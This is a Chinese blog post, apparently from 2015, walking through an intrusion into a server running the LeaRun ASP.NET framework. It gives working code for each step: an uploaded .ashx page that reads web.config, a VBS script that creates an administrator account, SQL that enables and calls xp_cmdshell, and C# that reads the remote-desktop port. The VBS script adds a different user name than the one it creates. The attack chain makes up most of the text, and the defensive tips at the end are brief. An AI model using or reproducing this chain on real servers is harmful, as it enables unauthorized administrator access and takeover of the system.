您的位置:首页 > 编程语言 > ASP

ASP.NET网站入侵第二波(LeaRun.信息化快速开发框架 已被笔者拿下)

2015-10-29 20:12 981 查看
笔者小学文化,语言组织能力差,写的不通的地方请大家将就着看,不喜勿喷。

上篇我讲了如何在上传文件中入侵服务器,這次我们稍微多讲一点。

还是先讲下流程:

1、上传代码页面 我上传的是ashx页面。

2、用ashx页面已文本形式显示web.Config的内容 得到数据库连接,

3、用ashx在网站根目录输出vbs脚本(创建Windows账户脚本)

4、开启数据库的xp_cmdshell。

5、利用数据库执行在网站根目录输出vbs脚本。入侵就完成了

ashx代码文件如下

set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) '得到adsi接口,绑定
Set oe=GetObject(os&"/Administrators,group") '属性,admin组
Set od=ob.Create("user","test") '建立用户
od.SetPassword "1234" '设置密码
od.SetInfo '保存
Set of=GetObject(os&"/test",user) '得到用户
oe.add os&"/freeast"


View Code

然后开启数据库的xp_cmdshell。

sp_configure 'show advanced options',1  reconfigure

Go

sp_configure 'xp_cmdshell',1 reconfigure


在最后执行vbs脚本

exec master..xp_cmdshell 'cscript 脚本文件目录"'


运行结果如下:



好 这说明直线成功了。。。。 也就是服务器用户添加成功了

现在要开始远程桌面了,于是个端口扫描工具发现3389是关的,于是断定肯定是修改了端口后,于是就加了个代码,让程序去读取远程桌面端口,

代码如下:

/// <summary>
/// 显示远程桌面端口
/// </summary>
/// <param name="context"></param>
private void ShowPort(HttpContext context)
{
context.Response.Write(Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp").GetValue("PortNumber").ToString());
}


好了 到這里 一切的完成了 ,打开远程桌面连接吧。。



因为此次公开还没来得及通知 事主 于是自己帮事主把这个漏洞补上了后才发出来的,所以你们也不要去试了 -.-!!!!

然后我在来说说补救的方法,我就简单介绍几种了

1、将上传的文件放到网站外,也就是说 让iit读取不到(但记得分配权限) ,如:假如我网站放在 d:\\Web\Oa\ 这个是我网站的跟目录,那么我上传的文件 可以放到 d:\File\OA 里面,别人就不能直接访问

2、就是在上传文件的目录下新建立个web.config 把所有请求都拒绝,(C#是可以读取的,只是需要用Response.WriteFile 输出)

3、全部压缩

。。。。。。。。。。。。。。。。

好了 ,大家抓紧把之前的项目整理一遍吧,把能补的补上。。。。 千万别用這些漏洞去做坏事哦 ,。。。 那样你会被请去喝茶的。。。。-.-!!!!!
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: